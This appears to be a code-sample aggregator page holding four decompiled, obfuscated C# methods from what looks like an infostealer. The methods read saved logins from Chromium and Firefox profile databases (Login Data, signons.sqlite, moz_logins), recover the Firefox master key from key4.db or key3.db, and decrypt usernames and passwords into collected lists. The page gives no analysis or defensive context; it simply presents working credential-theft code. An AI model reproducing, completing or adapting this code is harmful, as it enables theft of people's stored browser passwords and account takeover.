Пример #1
0
    // Token: 0x0600010B RID: 267 RVA: 0x00023B98 File Offset: 0x00021D98
    internal static List <clo> clq(string clz, string cmn, string cmo = "logins")
    {
        List <clo> list = new List <clo>();

        if (!File.Exists(clz))
        {
            return(list);
        }
        jwq jwq;

        try
        {
            jwq = new jwq(clz);
        }
        catch (Exception ex)
        {
            return(list);
        }
        if (!jwq.kry(cmo))
        {
            goto IL_51;
        }
        goto IL_82;
        uint num2;

        for (;;)
        {
IL_56:
            uint num;
            switch ((num = (num2 ^ 2142595151u)) % 5u)
            {
            case 0u:
                goto IL_82;

            case 2u:
                goto IL_51;

            case 3u:
                return(list);

            case 4u:
            {
                string text = string.Empty;
                num2 = (num * 1357431051u ^ 2030568141u);
                continue;
            }
            }
            break;
        }
        int    num3 = 0;
        int    num4 = checked (jwq.ktv() - 1);
        int    num5 = num3;
        string text2;
        string text3;

        for (;;)
        {
            if (num5 <= num4)
            {
                try
                {
                    text2 = jwq.kuv(num5, <Module> .smethod_0(575008));
                    text3 = jwq.kuv(num5, <Module> .smethod_0(574928));
                    string text = clw.cno(jwq.kuv(num5, <Module> .smethod_0(574976)));
                    if (!string.IsNullOrEmpty(text2))
                    {
                        for (;;)
                        {
IL_1CA:
                            uint num6 = 715850815u;
                            for (;;)
                            {
                                uint num;
                                switch ((num = (num6 ^ 2142595151u)) % 7u)
                                {
                                case 0u:
                                    goto IL_1CA;

                                case 1u:
                                    if (text != null)
                                    {
                                        num6 = (num * 605843938u ^ 2372533082u);
                                        continue;
                                    }
                                    break;

                                case 2u:
                                {
                                    clo clo = new clo();
                                    clo.cly = text2;
                                    num6    = (num * 3435803494u ^ 659907402u);
                                    continue;
                                }

                                case 3u:
                                    if (!string.IsNullOrEmpty(text3))
                                    {
                                        num6 = (num * 3766597328u ^ 13896220u);
                                        continue;
                                    }
                                    break;

                                case 5u:
                                {
                                    clo clo;
                                    clo.clx = cmn;
                                    list.Add(clo);
                                    num6 = (num * 4087290826u ^ 2154212212u);
                                    continue;
                                }

                                case 6u:
                                {
                                    clo clo;
                                    clo.clu = text3;
                                    clo.clv = text;
                                    num6    = (num * 425909484u ^ 3115526566u);
                                    continue;
                                }
                                }
                                goto Block_12;
                            }
                        }
                        Block_12 :;
                    }
                    goto IL_257;
                }
                catch (Exception ex2)
                {
                    for (;;)
                    {
IL_21A:
                        uint num7 = 623766739u;
                        for (;;)
                        {
                            uint num;
                            switch ((num = (num7 ^ 2142595151u)) % 3u)
                            {
                            case 0u:
                                goto IL_21A;

                            case 2u:
                                num7 = (num * 573121255u ^ 2921456160u);
                                continue;
                            }
                            goto Block_14;
                        }
                    }
Block_14:
                    goto IL_257;
                }
                goto IL_223;
IL_257:
                checked
                {
                    num5++;
                    goto IL_223;
                }
            }
            int num8 = 910093598;
IL_228:
            switch ((num8 ^ 2142595151) % 4)
            {
            case 1:
                return(list);

            case 2:
                continue;

            case 3:
IL_223:
                num8 = 1480378429;
                goto IL_228;
            }
            break;
        }
        List <clo> result;

        return(result);

IL_51:
        num2 = 2095154105u;
        goto IL_56;
IL_82:
        text2 = string.Empty;
        text3 = string.Empty;
        num2  = 1368682630u;
        goto IL_56;
    }
Пример #2
0
		// Token: 0x06000170 RID: 368 RVA: 0x0002F990 File Offset: 0x0002DB90
		public static byte[] hou(string hov)
		{
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(290624 -> "key4.db"))))
			{
				string baseName = hov + <Module>.smethod_strings_decryptor(290600 -> "key4.db"));
				try
				{
					jwq jwq;
					byte[] result;
					try
					{
						jwq = new jwq(baseName);
					}
					catch (Exception ex)
					{
						for (;;)
						{
							IL_76:
							uint num = 397499132u;
							for (;;)
							{
								uint num2;
								switch ((num2 = (num ^ 864882355u)) % 3u)
								{
								case 0u:
									goto IL_76;
								case 1u:
									result = null;
									num = (num2 * 1771186742u ^ 998640529u);
									continue;
								}
								goto Block_12;
							}
						}
						Block_12:
						return result;
					}
					if (!jwq.kry(<Module>.smethod_strings_decryptor(290160 -> "metaData"))))
					{
						goto IL_104;
					}
					goto IL_419;
					uint num3;
					byte[] hnp;
					for (;;)
					{
						IL_3B1:
						uint num2;
						int num4;
						jox.hjl hjl;
						byte[] bytes;
						object instance;
						switch ((num2 = (num3 ^ 864882355u)) % 20u)
						{
						case 0u:
							goto IL_C7;
						case 1u:
						{
							byte[] hjn = new byte[0];
							num3 = (num2 * 3762620962u ^ 2429759357u);
							continue;
						}
						case 2u:
						{
							byte[] hlr;
							byte[] hlr2;
							Encoding.Default.GetString(jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), hlr, hlr2));
							num3 = (num2 * 3444158586u ^ 4141135044u);
							continue;
						}
						case 4u:
							goto IL_206;
						case 5u:
							goto IL_19D;
						case 6u:
							checked
							{
								num4++;
							}
							num3 = (num2 * 15138852u ^ 1432410666u);
							continue;
						case 7u:
						{
							hnp = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290208 -> "item1"))));
							byte[] hjn = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290312 -> "item2"))));
							num3 = (num2 * 2475399591u ^ 4263075038u);
							continue;
						}
						case 8u:
							result = null;
							num3 = (num2 * 1572013394u ^ 3874933492u);
							continue;
						case 9u:
							num4 = 0;
							num3 = (num2 * 655340772u ^ 3340638214u);
							continue;
						case 10u:
						{
							Encoding.Default.GetBytes(jwq.kuv(1, <Module>.smethod_strings_decryptor(290360 -> "a102"))));
							jox.hjz hjz = hjl.hjm(bytes);
							object hlr3 = hjz.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							object hlr4 = hjz.hlp[0].hlp[1].hlr;
							instance = jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), (byte[])hlr3, (byte[])hlr4);
							num3 = (num2 * 1158233609u ^ 3368708756u);
							continue;
						}
						case 11u:
							goto IL_42D;
						case 12u:
							if (Operators.CompareString(jwq.kuv(0, "id"), <Module>.smethod_strings_decryptor(290136 -> "password")), false) == 0)
							{
								num3 = (num2 * 3331896414u ^ 3718961892u);
								continue;
							}
							goto IL_206;
						case 13u:
							if (num4 > 23)
							{
								num3 = (num2 * 3232749855u ^ 3008978758u);
								continue;
							}
							goto IL_19D;
						case 14u:
							goto IL_419;
						case 16u:
						{
							byte[] hjn;
							jox.hjz hjz2 = hjl.hjm(hjn);
							byte[] hlr = hjz2.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							byte[] hlr2 = hjz2.hlp[0].hlp[1].hlr;
							num3 = (num2 * 1996369276u ^ 2536377065u);
							continue;
						}
						case 17u:
							goto IL_104;
						case 18u:
							result = jox.hls.jly;
							num3 = (num2 * 685934684u ^ 3095256988u);
							continue;
						case 19u:
							if (!jwq.kry(<Module>.smethod_strings_decryptor(290256 -> "nssPrivate"))))
							{
								num3 = (num2 * 3855035416u ^ 1770445472u);
								continue;
							}
							goto IL_C7;
						}
						break;
						IL_C7:
						bytes = Encoding.Default.GetBytes(jwq.kuv(1, "a11"));
						num3 = 117202509u;
						continue;
						IL_19D:
						jox.hls.jly[num4] = Conversions.ToByte(NewLateBinding.LateIndexGet(instance, new object[]
						{
							num4
						}, null));
						num3 = 374730853u;
						continue;
						IL_206:
						hjl = new jox.hjl();
						num3 = 1330577419u;
					}
					return result;
					IL_42D:
					return null;
					IL_104:
					num3 = 1369271435u;
					goto IL_3B1;
					IL_419:
					hnp = new byte[0];
					num3 = 238294990u;
					goto IL_3B1;
				}
				catch (Exception ex2)
				{
					byte[] result = null;
					for (;;)
					{
						IL_47F:
						uint num5 = 1105972921u;
						for (;;)
						{
							uint num2;
							switch ((num2 = (num5 ^ 864882355u)) % 3u)
							{
							case 1u:
								num5 = (num2 * 2216605151u ^ 2609150475u);
								continue;
							case 2u:
								goto IL_47F;
							}
							goto Block_14;
						}
					}
					Block_14:
					return result;
				}
			}
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(289920 -> "key3.db"))))
			{
				try
				{
					string fileName = hov + <Module>.smethod_strings_decryptor(289896 -> "key3.db"));
					byte[] hnp2 = new byte[0];
					jox.guz guz = new jox.guz(fileName);
					string text;
					try
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator = guz.gqz.GetEnumerator();
						for (;;)
						{
							IL_6B8:
							uint num6 = 140317870u;
							for (;;)
							{
								uint num2;
								object instance2;
								switch ((num2 = (num6 ^ 864882355u)) % 9u)
								{
								case 0u:
									goto IL_5B8;
								case 1u:
									num6 = (num2 * 1980930708u ^ 4279062769u);
									continue;
								case 2u:
									goto IL_573;
								case 3u:
									goto IL_5A5;
								case 4u:
									text = Conversions.ToString(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(290120 -> "Value")), new object[0], null, null, null));
									num6 = (num2 * 954236485u ^ 3232431402u);
									continue;
								case 5u:
									hnp2 = jox.hls.hlt(Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(289656 -> "Value")), new object[0], null, null, null), null, <Module>.smethod_strings_decryptor(289728 -> "Replace")), new object[]
									{
										"-",
										""
									}, null, null, null)));
									num6 = (num2 * 3518094976u ^ 4163794741u);
									continue;
								case 7u:
									if (Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289968 -> "global-salt")), false), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289944 -> "Version")), false)), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290016 -> "password-check")), false))))
									{
										num6 = (num2 * 1792523313u ^ 2652427638u);
										continue;
									}
									goto IL_573;
								case 8u:
									goto IL_6B8;
								}
								goto Block_23;
								IL_573:
								if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290064 -> "global-salt")), false))
								{
									num6 = 125452241u;
									continue;
								}
								IL_5A5:
								if (!enumerator.MoveNext())
								{
									num6 = 401585206u;
									continue;
								}
								IL_5B8:
								instance2 = enumerator.Current;
								num6 = 274233109u;
							}
						}
						Block_23:;
					}
					finally
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator;
						((IDisposable)enumerator).Dispose();
					}
					jox.hjl hjl2 = new jox.hjl();
					for (;;)
					{
						IL_8FC:
						uint num7 = 1183966534u;
						for (;;)
						{
							uint num2;
							jox.hjz hjz5;
							switch ((num2 = (num7 ^ 864882355u)) % 10u)
							{
							case 0u:
							{
								byte[] hlr5;
								jox.hjz hjz3;
								object obj = jox.hls.hno(hnp2, Encoding.ASCII.GetBytes(""), hlr5, hjz3.hlp[0].hlp[1].hlr);
								num7 = (num2 * 2480484875u ^ 3271456801u);
								continue;
							}
							case 1u:
								goto IL_818;
							case 2u:
							{
								object obj;
								jox.hjz hjz4 = hjl2.hjm((byte[])obj);
								num7 = (num2 * 2826923615u ^ 243909657u);
								continue;
							}
							case 3u:
								num7 = (num2 * 2372407598u ^ 2679081814u);
								continue;
							case 4u:
								if (hjz5.hlp[0].hlp[3].hlr.Length > 24)
								{
									num7 = (num2 * 38161444u ^ 693730904u);
									continue;
								}
								goto IL_818;
							case 5u:
							{
								jox.hjz hjz3 = hjl2.hjm(jox.hls.hlt(text.Replace("-", "")));
								byte[] hlr5 = hjz3.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
								num7 = (num2 * 2844875169u ^ 1819095484u);
								continue;
							}
							case 6u:
								goto IL_8FC;
							case 8u:
							{
								jox.hjz hjz4;
								hjz5 = hjl2.hjm(hjz4.hlp[0].hlp[2].hlr);
								num7 = (num2 * 674668373u ^ 779619615u);
								continue;
							}
							case 9u:
								Array.Copy(hjz5.hlp[0].hlp[3].hlr, checked(hjz5.hlp[0].hlp[3].hlr.Length - 24), jox.hls.jly, 0, 24);
								num7 = (num2 * 555175777u ^ 3259694769u);
								continue;
							}
							goto Block_18;
							IL_818:
							jox.hls.jly = hjz5.hlp[0].hlp[3].hlr;
							num7 = 1859690296u;
						}
					}
					Block_18:
					return jox.hls.jly;
				}
				catch (Exception ex3)
				{
				}
				return null;
			}
			return null;
		}
Пример #3
0
	// Token: 0x0600010B RID: 267 RVA: 0x000239BC File Offset: 0x00021BBC
	internal static List<clo> clq(string clz, string cmn, string cmo = "logins")
	{
		List<clo> list = new List<clo>();
		if (!File.Exists(clz))
		{
			return list;
		}
		jwq jwq;
		try
		{
			jwq = new jwq(clz);
		}
		catch (Exception ex)
		{
			return list;
		}
		if (jwq.kry(cmo))
		{
			goto IL_64;
		}
		IL_37:
		int num = 1270842645;
		IL_3C:
		switch ((num ^ 1908089068) % 4)
		{
		case 0:
		{
			IL_64:
			string text = string.Empty;
			num = 1978624386;
			goto IL_3C;
		}
		case 1:
			return list;
		case 3:
			goto IL_37;
		}
		string text2 = string.Empty;
		string text3 = string.Empty;
		int num2 = 0;
		int num3 = checked(jwq.ktv() - 1);
		int num4 = num2;
		for (;;)
		{
			if (num4 <= num3)
			{
				try
				{
					string text = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320624 -> "origin_url")));
					text2 = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320600 -> "username_value")));
					text3 = clw.cno(jwq.kuv(num4, <Module>.smethod_strings_decryptor(320672 -> "password_value"))));
					if (!string.IsNullOrEmpty(text))
					{
						for (;;)
						{
							IL_1B7:
							uint num5 = 1650759195u;
							for (;;)
							{
								uint num6;
								switch ((num6 = (num5 ^ 1908089068u)) % 7u)
								{
								case 0u:
								{
									clo clo;
									clo.clx = cmn;
									num5 = (num6 * 2319934876u ^ 2323269452u);
									continue;
								}
								case 1u:
								{
									clo clo = new clo();
									clo.cly = text;
									clo.clu = text2;
									clo.clv = text3;
									num5 = (num6 * 1239049928u ^ 2158681576u);
									continue;
								}
								case 2u:
									if (text3 != null)
									{
										num5 = (num6 * 2481761736u ^ 964362803u);
										continue;
									}
									break;
								case 3u:
								{
									clo clo;
									list.Add(clo);
									num5 = (num6 * 879716646u ^ 2833252949u);
									continue;
								}
								case 5u:
									if (!string.IsNullOrEmpty(text2))
									{
										num5 = (num6 * 2064738247u ^ 1166676366u);
										continue;
									}
									break;
								case 6u:
									goto IL_1B7;
								}
								goto Block_11;
							}
						}
						Block_11:;
					}
					goto IL_244;
				}
				catch (Exception ex2)
				{
					for (;;)
					{
						IL_207:
						uint num7 = 1239167220u;
						for (;;)
						{
							uint num6;
							switch ((num6 = (num7 ^ 1908089068u)) % 3u)
							{
							case 1u:
								num7 = (num6 * 3398486821u ^ 2647820122u);
								continue;
							case 2u:
								goto IL_207;
							}
							goto Block_13;
						}
					}
					Block_13:
					goto IL_244;
				}
				goto IL_210;
				IL_244:
				checked
				{
					num4++;
					goto IL_210;
				}
			}
			int num8 = 442132939;
			IL_215:
			switch ((num8 ^ 1908089068) % 4)
			{
			case 0:
				IL_210:
				num8 = 1592328438;
				goto IL_215;
			case 2:
				continue;
			case 3:
				return list;
			}
			break;
		}
		List<clo> result;
		return result;
	}
Пример #4
0
		// Token: 0x06000173 RID: 371 RVA: 0x0003080C File Offset: 0x0002EA0C
		public static List<clo> jkl(string jkm, string jkn)
		{
			List<clo> list = new List<clo>();
			for (;;)
			{
				IL_A7:
				uint num = 3994806019u;
				for (;;)
				{
					uint num2;
					switch ((num2 = (num ^ 3279137713u)) % 5u)
					{
					case 0u:
						goto IL_A7;
					case 1u:
					{
						string text = jkm + <Module>.smethod_strings_decryptor(289536 -> "signons.sqlite"));
						if (File.Exists(text))
						{
							num = (num2 * 2963114273u ^ 1936167517u);
							continue;
						}
						return list;
					}
					case 2u:
						if (jox.hls.hou(jkm) == null)
						{
							num = (num2 * 3755269175u ^ 4274660725u);
							continue;
						}
						goto IL_AE;
					case 3u:
					{
						string text2 = string.Empty;
						string text3 = string.Empty;
						string text4 = string.Empty;
						num = (num2 * 1123653911u ^ 1233408905u);
						continue;
					}
					}
					goto Block_3;
				}
			}
			Block_3:
			return list;
			jwq jwq;
			try
			{
				IL_AE:
				string text;
				jwq = new jwq(text);
			}
			catch (Exception ex)
			{
				return list;
			}
			if (jwq.kry(<Module>.smethod_strings_decryptor(289512 -> "moz_logins"))))
			{
				goto IL_10F;
			}
			IL_DF:
			int num3 = -574263533;
			IL_E4:
			jox.hjl hjl;
			int num5;
			int num6;
			switch ((num3 ^ -1015829583) % 4)
			{
			case 0:
				goto IL_DF;
			case 2:
				return list;
			case 3:
			{
				IL_10F:
				hjl = new jox.hjl();
				int num4 = 0;
				num5 = checked(jwq.ktv() - 1);
				num6 = num4;
				num3 = -1153896364;
				goto IL_E4;
			}
			}
			List<clo> result;
			for (;;)
			{
				if (num6 <= num5)
				{
					try
					{
						string text2 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289584 -> "hostname")));
						string text3 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289560 -> "encryptedUsername")));
						string text4 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289120 -> "encryptedPassword")));
						if (!string.IsNullOrEmpty(text2))
						{
							for (;;)
							{
								IL_38E:
								uint num7 = 2389638383u;
								for (;;)
								{
									uint num2;
									switch ((num2 = (num7 ^ 3279137713u)) % 10u)
									{
									case 0u:
									{
										jox.hjz hjz = hjl.hjm(Convert.FromBase64String(text4));
										num7 = (num2 * 316590178u ^ 1711896903u);
										continue;
									}
									case 1u:
									{
										jox.hjz hjz2;
										byte[] hlr = hjz2.hlp[0].hlp[1].hlp[1].hlr;
										num7 = (num2 * 2147355450u ^ 881220567u);
										continue;
									}
									case 2u:
										if (!string.IsNullOrEmpty(text3))
										{
											num7 = (num2 * 1490760102u ^ 1341603426u);
											continue;
										}
										break;
									case 3u:
										if (text4 != null)
										{
											num7 = (num2 * 3002477722u ^ 1906451362u);
											continue;
										}
										break;
									case 4u:
									{
										jox.hjz hjz2;
										byte[] hlr2 = hjz2.hlp[0].hlp[2].hlr;
										byte[] hlr;
										string input = jox.jlx.jmw(hlr2, jox.hls.jly, hlr);
										num7 = (num2 * 3303802837u ^ 1744781663u);
										continue;
									}
									case 5u:
									{
										string input;
										clo clo;
										clo.clu = Regex.Replace(input, <Module>.smethod_strings_decryptor(289224 -> "[^\u0020-\u007F]")), "");
										string input2;
										clo.clv = Regex.Replace(input2, <Module>.smethod_strings_decryptor(289168 -> "[^\u0020-\u007F]")), "");
										clo.clx = jkn;
										list.Add(clo);
										num7 = (num2 * 3707522447u ^ 568229492u);
										continue;
									}
									case 7u:
									{
										jox.hjz hjz2 = hjl.hjm(Convert.FromBase64String(text3));
										num7 = (num2 * 2721528952u ^ 2943016820u);
										continue;
									}
									case 8u:
									{
										jox.hjz hjz;
										byte[] hlr3 = hjz.hlp[0].hlp[1].hlp[1].hlr;
										byte[] hlr4 = hjz.hlp[0].hlp[2].hlr;
										string input2 = jox.jlx.jmw(hlr4, jox.hls.jly, hlr3);
										clo clo = new clo();
										clo.cly = text2;
										num7 = (num2 * 3455639722u ^ 2161671336u);
										continue;
									}
									case 9u:
										goto IL_38E;
									}
									goto Block_13;
								}
							}
							Block_13:;
						}
					}
					catch (Exception ex2)
					{
						result = list;
						break;
					}
					checked
					{
						num6++;
						goto IL_3AD;
					}
				}
				int num8 = -1889264911;
				IL_3B2:
				switch ((num8 ^ -1015829583) % 4)
				{
				case 0:
					return list;
				case 1:
					continue;
				case 2:
					IL_3AD:
					num8 = -1281840040;
					goto IL_3B2;
				}
				break;
			}
			return result;
		}